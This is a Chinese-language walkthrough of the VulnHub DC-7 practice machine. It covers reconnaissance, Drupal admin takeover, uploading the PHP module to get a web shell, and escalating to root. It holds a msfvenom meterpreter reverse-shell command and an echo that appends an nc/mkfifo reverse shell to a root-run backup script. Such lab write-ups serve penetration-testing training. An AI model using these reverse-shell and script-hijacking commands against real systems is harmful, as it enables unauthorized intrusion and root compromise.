Vulnhub靶机DC系列-DC7 – 作者:fghsk456

0x0:靶场介绍

靶场名称: DC: 7

靶场发布时间:2019-4-26

靶场地址:https://www.vulnhub.com/entry/dc-7,356/

靶场描述:

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

While this isn’t an overly technical challenge, it isn’t exactly easy.

While it’s kind of a logical progression from an earlier DC release (I won’t tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. 🙂 If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.

What you will need to do, is to think “outside” of the box.

Waaaaaay “outside” of the box. 🙂

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet

1×0:环境搭建

VMware虚拟机(桥接模式)

2×0:靶机渗透

获取靶机的IP

nmap -sn 192.168.3.0/24

1610757657_60023619d49188c86a5ab.png!small?1610757658092

使用nmap来查看靶机的端口信息和系统信息等等

1610757703_60023647e85625d65bb6f.png!small?1610757704186

首先去查看80端口的web服务 Drupal

1610757769_60023689ad0bc3925d6ca.png!small?1610757769880

提示不用爆破破解,使用dirb扫描一下目录

1610758510_6002396e915690937ac73.png!small?1610758510854

存在robots.txt文件

1610757873_600236f1edcfaa5469e51.png!small?1610757874288

登录地址:

1610758128_600237f017a0cb38ea6ca.png!small?1610758128251

install.mysql 403!

1610758101_600237d5293ebf4e57fc7.png!small?1610758101422

版本大致的判断:

1610758438_600239264dfcab13d836e.png!small?1610758438474

kali去搜索一下drupal8版本的的漏洞(都利用失败了,看一下其他思路才知道需要去下载代码)

直接搜索@DC7USER即可

1610759173_60023c05ae698a3121ee3.png!small?1610759173932

下载,代码审计 config.php 有数据库的配置信息(没有什么其他可以利用的点)

1610759365_60023cc51b80bb118244c.png!small?1610759365337

玄学登录SSH尝试下一把

1610759736_60023e38da501db45dc7b.png!small?1610759737064

牛皮。

有一份mbox 邮件

1610760055_60023f77513ea0ae14695.png!small?1610760055537

提供一个路径/opt/scripts/backups.sh

1610760392_600240c8ec2c8bd2afeaf.png!small?1610760393686

解开这个文件,也没什么用。

1610760607_6002419f27b2fe0080cb2.png!small?1610760607384

发现一个可以修改drupal的管理员密码的命令

1610761051_6002435bad1bac3019896.png!small?1610761051861

回到网站去登录管理员账号

1610761126_600243a62eb0542dcd1a1.png!small?1610761126339

具体的版本号

1610761198_600243ee7869cd4033be1.png!small?1610761198678

这里需要反弹shell 利用上传插件 插件地址:https://www.drupal.org/project/php

1610761541_60024545c920b26222d40.png!small?1610761542029

上传插件

1610761567_6002455f804522461ae20.png!small?1610761567734上传成功

1610761599_6002457f406aa595f870c.png!small?1610761599474

勾选安装

1610761644_600245ac7c7eaebb6c844.png!small?1610761644640

上传反弹shell

1610761756_6002461c8c80a6d43ad62.png!small?1610761756814

在网上找到一个反向shell的php使用msf生成php_shell也可以

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.20 LPORT=1234 -f raw

下载地址:http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

1610762568_600249488b8dedbcda25f.png!small?1610762568744

下载下来,修改代码复制到文件中

1610762724_600249e48fcccefa05c98.png!small?1610762724762修改一下既可(上传到页面保存就可以反弹出来)

1610762835_60024a53922d977d42c5c.png!small?1610762836094

3×0:提权篇

切换shell

1610762924_60024aac483c21fe4bf60.png!small?1610762924402

发现backups.sh 具有root权限,但是在www-data组中 可以使用backups.sh 执行命令

1610763038_60024b1e418dc294ca2ce.png!small?1610763038432

直接写入反弹shell

echo "mkfifo /tmp/bqro; nc 192.168.43.84 7373 0</tmp/bqro | /bin/sh >/tmp/bqro 2>&1; rm /tmp/bqro" >> backups.sh

等待连接即可

1610763507_60024cf32b66e560ffe14.png!small?1610763507396

执行shell 等待连接

读取flag即可

1610764580_6002512468ed89c8a79a5.png!small?1610764580614

来源:freebuf.com 2021-01-16 10:37:37 by: fghsk456

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论